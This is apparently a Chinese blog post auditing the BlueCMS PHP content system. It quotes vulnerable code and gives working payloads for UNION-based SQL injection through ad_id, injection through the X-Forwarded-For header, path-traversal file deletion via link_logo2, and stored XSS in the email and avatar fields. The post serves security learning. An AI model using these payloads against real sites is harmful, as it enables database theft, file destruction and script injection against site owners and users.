BlueCMS审计
前言
听说这个CMS很适合入门,但是没有找到源码。由于看到网上的代码发现挺简单的,所以笔者选择把网上看到的各种漏洞整合一下,方便查看。
SQL注入1
直接上代码
$ad= $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
$ad_id
可控,找输入点
$ad_id= !empty($_GET['ad_id']) ? trim($_GET['ad_id']):'';
注意这里是$_GET
传入
页面回显代码
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
注意:而在ad_js.php文件的开头引入了过滤文件
require_once : dirname(__FILE__) .'/include/common.inc.php';
跟进
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
addslashes
函数,添加反斜杠,
如果CMS的数据库使用了gbk字符集,可以使用宽字节注入
但是可以数字型注入,payload如下
?ad_id=1%20order%20by%207
//判断字段
?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7
//有回显是7,存在注入
?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,user()
//当前用户
SQL注入2
漏洞发生在/uploads/include/common.fun.php的getip()方法中
获取请求中的头部,/uploads/comment.php
调用了此方法
sql语句直接拼接,可注入。可以抓POST包传入XFF头用sqlmap检测注入。
任意文件删除
这个漏洞代码挺多的,大多如下
}else{
if(file_exists(BLUE_ROOT.$_POST['link_logo2'])){
@unlink(BLUE_ROOT.$_POST['link_logo2']);
}
参数没有任何过滤
link_logo2=/../../../../../../../../../../../../../1.txt&act=do_edit
XSS
XSS漏洞经常出现在文章发表,评论回复,留言以及资料设置
等地方
XSS漏洞需要寻找未过滤的输入点和未过滤的输出函数
实际上经过测试此处能够XSS的输入框有两处:分别是邮箱,用户头像
输入输出都没有过滤。。
邮箱处显示代码为:
<td align="left"><input name="email" type=``"text" value=``"{#$user.email#}" class="inputbox"` `/></td>
我们输入payload为:
<script>alert(2)</script></td>//
个人头像处显示代码为:
<td align="left"><input type="text" name="face_pic1" value="{#$user.face_pic#}"class="inputbox"/></td>
我们输入payload为:
"/></td><script>alert(/xss/);</script>//
目前就是这些,等以后找到新的漏洞,再更吧。
参考
https://www.cnblogs.com/Cl0ud/p/12739864.html
https://ego00.blog.csdn.net/article/details/116460657